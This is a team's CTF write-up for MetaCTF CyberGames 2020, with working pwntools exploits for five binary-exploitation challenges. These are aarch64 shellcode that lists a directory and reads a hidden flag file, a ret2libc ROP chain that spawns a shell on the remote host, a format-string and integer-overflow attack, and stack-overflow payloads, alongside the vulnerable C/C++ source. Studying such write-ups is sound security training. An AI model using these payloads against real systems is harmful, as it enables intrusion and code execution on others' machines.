Writeup MetaCTF CyberGames 2020
Published on 26 Oct 2020
Writeup MetaCTF CyberGames 2020
25 Oktober 2020, my team CCUG got 19th place out of 1017 participants for the student category and 30th place out of 1587 participants overall category.
Pwn
Executor-arm64
Description:
If you've enjoyed the previous executor challenges, this time the executor is
back again, running on aarch64! Connect to executor-arm.metaproblems.com 12334
to see how well you can shellcode in aarch64 assembly!
Note: Flag is in standard format, but the flag file name is not flag.txt.
It is in the current working directory though.
Solution:
source code of the binary:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#define LENGTH 128
void sandbox (){
scmp_filter_ctx ctx = seccomp_init ( SCMP_ACT_KILL );
if ( ctx == NULL ) {
printf ( "seccomp error \n " );
exit ( 0 );
}
seccomp_rule_add ( ctx , SCMP_ACT_ALLOW , SCMP_SYS ( openat ), 0 );
seccomp_rule_add ( ctx , SCMP_ACT_ALLOW , SCMP_SYS ( read ), 0 );
seccomp_rule_add ( ctx , SCMP_ACT_ALLOW , SCMP_SYS ( getdents64 ), 0 );
seccomp_rule_add ( ctx , SCMP_ACT_ALLOW , SCMP_SYS ( write ), 0 );
seccomp_rule_add ( ctx , SCMP_ACT_ALLOW , SCMP_SYS ( exit ), 0 );
seccomp_rule_add ( ctx , SCMP_ACT_ALLOW , SCMP_SYS ( exit_group ), 0 );
if ( seccomp_load ( ctx ) < 0 ){
seccomp_release ( ctx );
exit ( 0 );
}
seccomp_release ( ctx );
}
void handler ( int sig ) {
exit ( - 2 );
}
char code [ 1000 ];
int main ( int argc , char * argv []){
setbuf ( stdout , 0 );
setbuf ( stdin , 0 );
puts ( "Welcome to the executor! Now powered by Aarch64!" );
puts ( "Wanna learn/practice how to write ARM64 assembly? This challenge is for you!" );
puts ( "We have added limits on what syscalls you can use. Good luck!" );
puts ( "Note: The flag is inside a file that's in the current directory. However, you'll need to find the flag filename first." );
puts ( "Enter your code below:" );
signal ( SIGALRM , handler );
alarm ( 30 );
memset ( & code , 0 , 1000 );
read ( 0 , & code , 1000 );
puts ( "Processing code..." );
sandbox ();
( * ( void ( * )()) code )();
return 0 ;
}
as you can see this is a shellcode challenge, we can only use a few syscall openat, read, getdents64, write, exit, exit_group. so I plan to get directory entries
inside a directory by using getdents64 and print out the flag file. since the name of the flag will be an uncommon name, so we have to find out manually.
when the program crash, it will reveal a file path. so I’m planning to read that file first.
this is my assembly script to read /opt/start/executor-arm.sh
:
from pwn import *
context . arch = "aarch64"
def main ():
r = remote ( "executor-arm.metaproblems.com" , 12334 )
p = '''
// stage 1: reading an known file
// fd = openat(0, "/opt/start/executor-arm.sh", O_RDONLY)
mov x0, xzr
mov x1, #0x6873
movk x1, #0x00, lsl #16
str x1, [sp, #-8]!
mov x1, #0x6f74
movk x1, #0x2d72, lsl #16
movk x1, #0x7261, lsl #32
movk x1, #0x2e6d, lsl #48
str x1, [sp, #-8]!
mov x1, #0x7472
movk x1, #0x652f, lsl #16
movk x1, #0x6578, lsl #32
movk x1, #0x7563, lsl #48
str x1, [sp, #-8]!
mov x1, #0x6f2f
movk x1, #0x7470, lsl #16
movk x1, #0x732f, lsl #32
movk x1, #0x6174, lsl #48
str x1, [sp, #-8]!
add x1, sp, x0
mov x2, xzr
mov x8, #56
svc #0x1337
mvn x3, x0
// read(fd, *buf, size)
mov x2, #0xfff
sub sp, sp, x2
mov x8, xzr
add x1, sp, x8
mov x8, #63
svc #0x1337
// write(1, *buf, size)
str x0, [sp, #-8]!
lsr x0, x2, #11
ldr x2, [sp], #8
mov x8, #64
svc #0x1337'''
r . sendline ( asm ( p ))
r . interactive ()
if __name__ == "__main__" :
main ()
and we got the file. since the description said the flag is inside the current directory so we have to get directory entries of /home/user/
using getdents64.
my script to get directory entries of /home/user/
:
from pwn import *
context . arch = "aarch64"
def main ():
r = remote ( "executor-arm.metaproblems.com" , 12334 )
p = '''
// stage 2: get all files and directories inside a directory
// fd = openat(0, "/home/user", O_RDONLY)
mov x0, xzr
mov x1, #0x7265
movk x1, #0x2f, lsl #16
str x1, [sp, #-8]!
mov x1, #0x682f
movk x1, #0x6d6f, lsl #16
movk x1, #0x2f65, lsl #32
movk x1, #0x7375, lsl #48
str x1, [sp, #-8]!
add x1, sp, x0
mov x2, xzr
mov x8, #56
svc #0x1337
// getdents64(fd, *buf, size)
mov x2, #0xfff
sub sp, sp, x2
mov x8, xzr
add x1, sp, x8
mov x8, #61
svc #0x1337
// write(1, *buf, size)
str x0, [sp, #-8]!
lsr x0, x2, #11
ldr x2, [sp], #8
mov x8, #64
svc #0x1337
'''
r . sendline ( asm ( p ))
r . interactive ()
if __name__ == "__main__" :
main ()
and now we got the flag filename
now we can just read the flag using that name.
from pwn import *
context . arch = "aarch64"
def main ():
r = remote ( "executor-arm.metaproblems.com" , 12334 )
p = '''
// stage 3: reading a secret file inside the directory
// fd = openat(0, "/home/user/not-a-easily-guessable-flag-file-a489df083c.txt", O_RDONLY)
mov x0, xzr
mov x1, #0x7478
movk x1, #0x00, lsl #16
str x1, [sp, #-8]!
movk x1, #0x6664
movk x1, #0x3830, lsl #16
movk x1, #0x6333, lsl #32
movk x1, #0x742e, lsl #48
str x1, [sp, #-8]!
mov x1, #0x6c69
movk x1, #0x2d65, lsl #16
movk x1, #0x3461, lsl #32
movk x1, #0x3938, lsl #48
str x1, [sp, #-8]!
mov x1, #0x2d65
movk x1, #0x6c66, lsl #16
movk x1, #0x6761, lsl #32
movk x1, #0x662d, lsl #48
str x1, [sp, #-8]!
mov x1, #0x7567
movk x1, #0x7365, lsl #16
movk x1, #0x6173, lsl #32
movk x1, #0x6c62, lsl #48
str x1, [sp, #-8]!
mov x1, #0x652d
movk x1, #0x7361, lsl #16
movk x1, #0x6c69, lsl #32
movk x1, #0x2d79, lsl #48
str x1, [sp, #-8]!
mov x1, #0x7265
movk x1, #0x6e2f, lsl #16
movk x1, #0x746f, lsl #32
movk x1, #0x612d, lsl #48
str x1, [sp, #-8]!
mov x1, #0x682f
movk x1, #0x6d6f, lsl #16
movk x1, #0x2f65, lsl #32
movk x1, #0x7375, lsl #48
str x1, [sp, #-8]!
add x1, sp, x0
mov x2, xzr
mov x8, #56
svc #0x1337
// read(fd, *buf, size)
mov x2, #0xfff
sub sp, sp, x2
mov x8, xzr
add x1, sp, x8
mov x8, #63
svc #0x1337
// write(1, *buf, size)
str x0, [sp, #-8]!
lsr x0, x2, #11
ldr x2, [sp], #8
mov x8, #64
svc #0x1337
// exit(status)
mov x8, #93
svc #0x1337
'''
r . sendline ( asm ( p ))
r . interactive ()
if __name__ == "__main__" :
main ()
FLAG: MetaCTF{M1ght7_sh3llc0d3r5_0f_m4n7_4rch1t3ctur35}
Baffling Buffer 2
Description:
As an intern, I've been tasked with writing some C code to automate copying
files. I decided to base my program on this helpful tutorial that I've found
online, and the first release is now running on host1.metaproblems.com 5152.
I got some compiler warnings when I compiled my program though, but it
shouldn't matter too much, right?
Given the binary, source code, and libc of the service, can you get RCE on
this Debian server to get the flag? You may assume that the normal linux
files/directories are present in the remote server.
Solution:
we were given some files, binary, source code, and the libc.
this is the source code of the binary:
#include <stdio.h>
#include <stdlib.h>
int main ()
{
setbuf ( stdout , 0 );
setbuf ( stdin , 0 );
setbuf ( stderr , 0 );
char ch , source_file [ 20 ], target_file [ 20 ];
FILE * source , * target ;
printf ( "Enter name of file to copy \n " );
gets ( source_file );
source = fopen ( source_file , "r" );
if ( source == NULL )
{
printf ( "Press any key to exit... \n " );
exit ( EXIT_FAILURE );
}
printf ( "Enter name of target file \n " );
gets ( target_file );
target = fopen ( target_file , "w" );
if ( target == NULL )
{
fclose ( source );
printf ( "Press any key to exit... \n " );
exit ( EXIT_FAILURE );
}
while ( ( ch = fgetc ( source ) ) != EOF )
fputc ( ch , target );
printf ( "File copied successfully. \n " );
fclose ( source );
fclose ( target );
return 0 ;
}
the bug is a buffer overflow, we can control the %rip
on the first input, but we have to pass the fopen()
. since the program will exit if the file that we input does not exist. in order to bypass it, we can use \x00
to terminate the filename. after we control the %rip
we can just be doing a ret2libc attack to get a shell.
this is my exploit:
#!/usr/bin/env python2
import sys
from pwn import *
context . update ( arch = "amd64" , endian = "little" , os = "linux" , log_level = "debug" ,
terminal = [ "tmux" , "split-window" , "-v" , "-p 85" ],)
LOCAL , REMOTE = False , False
TARGET = os . path . realpath ( "/home/tripoloski/code/ctf/metaCTF/binex/bb2/bb2" )
elf = ELF ( TARGET )
def attach ( r ):
if LOCAL :
bkps = []
gdb . attach ( r , ' \n ' . join ([ "break %s" % ( x ,) for x in bkps ]))
return
def exploit ( r ):
# attach(r)
main = 0x000000000401192
puts_got = 0x00000404018
pop_rdi = 0x000000000040133b
ret = 0x0000000000401016
puts_plt = 0x000000000401030
p = "/etc/passwd \x00 "
p += "AAAA"
p += "A" * 40
p += p64 ( pop_rdi )
p += p64 ( puts_got )
p += p64 ( puts_plt )
p += p64 ( main )
r . sendlineafter ( "copy \n " , p )
r . sendlineafter ( "file \n " , "/tmp/x" )
r . recvuntil ( "successfully. \n " )
leak = u64 ( r . recvline (). replace ( ' \n ' , " \x00 " ). ljust ( 8 , " \x00 " ))
syste = leak - 0x2cf50
binsh = leak + 0x10fc09
p = "/etc/passwd \x00 "
p += "AAAA"
p += "A" * 40
p += p64 ( pop_rdi )
p += p64 ( binsh )
p += p64 ( syste )
r . sendline ( p )
r . sendline ( "/tmp/x" )
log . info ( "leak: " + hex ( leak ))
r . interactive ()
return
if __name__ == "__main__" :
if len ( sys . argv ) == 2 and sys . argv [ 1 ] == "remote" :
REMOTE = True
r = remote ( "host1.metaproblems.com" , 5152 )
else :
LOCAL = True
r = process ([ TARGET ,])
exploit ( r )
sys . exit ( 0 )
FLAG: MetaCTF{Its_never_a_good_idea_t0_copy_code_onl1n3}
mining hero
Description:
I just finished making this super cool game!! You get to go mining, and as you
mine, you earn money. Then you can use that money to mine faster (or if you're
feeling lucky, you can place a bet)! Once you've amassed enough wealth, you
can demand that God give you a shoutout. And if God is feeling friendly, he
might even give you a flag! Try it out here: nc host1.metaproblems.com 5950!
Here's the source and the binary.
Hint: Not all overflows happen in a buffer.
Solution:
we were given the binary and source code file for this challenge.
source code:
#include <iostream>
#include <map>
#include <string>
#include <fstream>
#include <streambuf>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
// Amount of money the player has
unsigned long long player_funds = 150 ;
// Time for one tick of mining. Ten per operation
unsigned int tool_time = 500000 ;
// Mining profit per operation
unsigned int mining_profit = 10 ;
// The number of replacements the player has
unsigned int tools_left = 0 ;
// Mining operations before player is no longer encouraged
unsigned int encouragement = 0 ;
std :: string name ;
void place_bet (){
if ( player_funds == 0 ){
std :: cout << "You don't have enough money for this!" << std :: endl ;
return ;
}
std :: cout << "A coin will be flipped. Before the coin is flipped, you may pick heads or tails. "
<< "If you guess correctly, any money you bet will be doubled. Otherwise, the money will"
<< " be forfeit. Enter heads, tails, or cancel" << std :: endl ;
std :: string input ;
std :: cin >> input ;
if ( input == "heads" || input == "tails" ){
unsigned long long bet { 0 };
do {
std :: cout << "How much would you like to bet that the coin will come up " << input << "?"
<< " Enter a number between 1 and " << player_funds << "." << std :: endl ;
std :: cin >> bet ;
} while ( ! std :: cin . good () || bet > player_funds );
player_funds -= bet ;
srand ( time ( nullptr ));
auto val { rand () % 2 };
if ( val ){
std :: cout << "... and the coin came up " << input << "!! You just got $" << bet
<< "! Congratulations! Your balance is $" << ( player_funds += bet * 2 ) << std :: endl ;
} else {
std :: cout << "... and the coin came up " << ( input == "heads" ? "tails" : "heads" )
<< ". You lost $" << bet << ". Your balance is $" << player_funds << std :: endl ;
}
} else {
std :: cout << "Cancelling bet" << std :: endl ;
}
}
void tool_break (){
std :: cout << "Oh no! Your tool broke!" ;
if ( tools_left == 0 ){
std :: cout << " You don't have any replacements available. It's back to mining with your hands" << std :: endl ;
mining_profit = 10 ;
} else {
std :: cout << " You used a replacement. You now have " << -- tools_left << " replacements available " << std :: endl ;
}
}
void work (){
std :: cout << "You go to work in the mines" << std :: endl ;
std :: cout << "[..........]" << std :: endl ;
for ( unsigned int i = 0 ; i < 10 ; i ++ ){
usleep ( tool_time );
std :: cout << "[" ;
for ( unsigned int j = 0 ; j <= i ; j ++ ){
std :: cout << "=" ;
}
for ( unsigned int j = i + 1 ; j < 10 ; j ++ ){
std :: cout << "." ;
}
std :: cout << "]" << std :: endl ;
}
srand ( time ( NULL ));
if ( rand () % 100 == 0 ){
auto profit { mining_profit * 9 + rand () % ( 2 * mining_profit ) };
std :: cout << "You struck gold! You earned $" << profit << ". Your balance is now $"
<< ( player_funds += profit ) << ". " << std :: endl ;
} else {
auto profit { 1 + rand () % ( 2 * mining_profit ) };
std :: cout << "It was a normal days work. You earned $" << profit << ". Your balance is now $"
<< ( player_funds += profit ) << ". " << std :: endl ;
}
if ( rand () % 3 == 0 && mining_profit != 10 ){
tool_break ();
}
if ( encouragement ){
encouragement -- ;
if ( encouragement == 0 ){
std :: cout << "You aren't encouraged to mine faster anymore" << std :: endl ;
tool_time = 500000 ;
}
}
}
void purchase (){
std :: map < std :: string , unsigned long long > prices {
{ "tool" , 100 },
{ "encouragement" , 20 },
{ "shout-out-from-literally-god" , 1000000000000000ULL }
};
std :: string option {};
do {
std :: cout << "What would you like to buy? Options are " ;
for ( auto & entry : prices ){
std :: cout << entry . first << " (cost: " << entry . second << "), " ;
}
std :: cout << "or cancel" << std :: endl ;
std :: cin >> option ;
if ( option == "cancel" ){
return ;
}
} while ( prices . find ( option ) == prices . end ());
unsigned long long count { 0 };
do {
std :: cout << "How many would you like to buy? Must be greater than 0" << std :: endl ;
std :: cin >> count ;
} while ( ! std :: cin . good () || ! count );
auto item_cost { prices . at ( option ) };
auto total { item_cost * count };
if ( total > player_funds ) {
std :: cout << "You don't have the money for that!" << std :: endl ;
return ;
}
player_funds -= total ;
if ( option == "tool" ){
std :: cout << "You bought " << count << " tool" << (( count - 1 ) ? "s" : "" ) << ". You "
<< "now have " << ( tools_left += count - 1 ) << " spare tool"
<< ( tools_left - 1 ? "s" : "" ) << std :: endl ;
mining_profit = 50 ;
} else if ( option == "encouragement" ){
for ( unsigned long long i = 0 ; i < count ; i ++ ){
std :: cout << "You can do it! Go you!" << std :: endl ;
encouragement ++ ;
}
std :: cout << "You are now very encouraged! Your mining speed has increased." << std :: endl ;
tool_time = 50000 ;
} else if ( option == "shout-out-from-literally-god" ){
bool god_is_happy = rand () & 0xFFFFFF == 0 ;
bool * god_is_really_happy = & god_is_happy ;
printf ( "Hmmmm \n " );
printf ( name . c_str ());
printf ( " \n You have done well! \n " );
printf ( "Good job! \n " );
if ( * god_is_really_happy ){
printf ( "I'm feeling generous right now! \n Have a flag! \n " );
std :: ifstream t ( "flag.txt" );
std :: string str (( std :: istreambuf_iterator < char > ( t )),
std :: istreambuf_iterator < char > ());
std :: cout << str << std :: endl ;
}
printf ( "Sincerely, \n " );
printf ( " \t ~God \n " );
}
}
int main ( int argc , char ** argv ){
std :: cout << "Welcome to this very in-depth game. The goal is to amass wealth and earn the god's favor." << std :: endl ;
std :: cout << "Before we continue, what is your name?" << std :: endl ;
std :: cin >> name ;
do {
std :: cout << "Current funds: $" << player_funds << std :: endl ;
std :: cout << "Your options are: " << std :: endl ;
std :: cout << "1: Place a bet on a coin flip for a chance to double your money" << std :: endl ;
std :: cout << "2: Go mining to earn some money" << std :: endl ;
std :: cout << "3: Buy things" << std :: endl ;
std :: cout << "4: Quit (Your money will not be saved)" << std :: endl ;
std :: cout << "Please enter a number 1-4 to continue..." << std :: endl ;
std :: string input {};
std :: cin >> input ;
if ( input == "1" ){
place_bet ();
} else if ( input == "2" ){
work ();
} else if ( input == "3" ){
purchase ();
} else if ( input == "4" ){
return 0 ;
} else {
std :: cout << "Invalid input" << std :: endl ;
}
} while ( true );
}
it’s written in C++, there is a format string bug on the name variable when we bought shout-out-from-literally-god
and integer overflow on place_bet
function.
to solve this challenge we can just bet till we got a lot of money to buy shout-out-from-literally-god
,
after that, we use format string bug to overwrite god_is_really_happy
my exploit:
from pwn import *
from ctypes import *
import subprocess
context . arch = "amd64"
context . os = "linux"
r = remote ( "host1.metaproblems.com" , 5950 )
# r = process("./text-game")
context . update ( arch = "amd64" , endian = "little" , os = "linux" , log_level = "info" ,
terminal = [ "tmux" , "split-window" , "-v" , "-p 85" ],)
LOCAL = True
def attach ( r ):
if LOCAL :
bkps = [ "* 0x3521" ]
gdb . attach ( r , ' \n ' . join ([ "pie break %s" % ( x ,) for x in bkps ]))
return
def init ( d ):
r . sendlineafter ( "name? \n " , d )
def betting ( n ):
r . sendlineafter ( "continue... \n " , "1" )
r . sendlineafter ( "cancel \n " , "heads" )
r . recvuntil ( "1 and " )
my_okane = r . recvline (). replace ( "." , "" )
log . info ( "okane: " + my_okane )
r . sendline ( n )
return my_okane
def main ():
# attach(r)
# init("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
init ( "%{}c%12$hn" . format (( 0x0000 ) & 0xffff ))
current_okane = 0
okane = 150
for i in range ( 50 ):
r . sendline ( '1' )
r . sendline ( "heads" )
r . sendline ( str ( okane ))
okane *= 2
r . sendline ( "3" )
r . sendline ( "shout-out-from-literally-god" )
r . sendline ( "1" )
r . interactive ()
if __name__ == "__main__" :
main ()
FLAG: MetaCTF{i_W0N_w!thOUt_CHEat!nG!!}
Baffling Buffer 1
Description:
After pointing out the initial issue, the developers issued a new update on
the login service and restarted it at host1.metaproblems.com 5151. Looking at
the binary and source code, you discovered that this code is still vulnerable.
Solution:
this is just a simple buffer overflow. use Sup3rs3cr3tC0de\x00
as your first payload
and overflow with 40 junk and then call the win
function to get the flag
#!/usr/bin/env python2
import sys
from pwn import *
context . update ( arch = "amd64" , endian = "little" , os = "linux" , log_level = "debug" ,
terminal = [ "tmux" , "split-window" , "-v" , "-p 85" ],)
LOCAL , REMOTE = False , False
TARGET = os . path . realpath ( "/home/tripoloski/code/ctf/metaCTF/binex/bb1/bb1" )
elf = ELF ( TARGET )
def attach ( r ):
if LOCAL :
bkps = []
gdb . attach ( r , ' \n ' . join ([ "break %s" % ( x ,) for x in bkps ]))
return
def exploit ( r ):
attach ( r )
p = "Sup3rs3cr3tC0de \x00 "
p += "A" * 40
p += p64 ( elf . sym [ 'win' ])
r . sendline ( p )
r . interactive ()
return
if __name__ == "__main__" :
if len ( sys . argv ) == 2 and sys . argv [ 1 ] == "remote" :
REMOTE = True
r = remote ( "host1.metaproblems.com" , 5151 )
else :
LOCAL = True
r = process ([ TARGET ,])
exploit ( r )
sys . exit ( 0 )
FLAG: MetaCTF{c_strings_are_the_best_strings}
Baffling Buffer 0
Description:
While hunting for vulnerabilities in client infrastructure, you discover a
strange service located at host1.metaproblems.com 5150. You've uncovered the
binary and source code code of the remote service, which looks somewhat
unfinished. The code is written in a very exploitable manner. Can you find
out how to make the program give you the flag?
Solution:
a simple buffer overflow. just input a lot of string and the flag will appear
FLAG: MetaCTF{just_a_little_auth_bypass}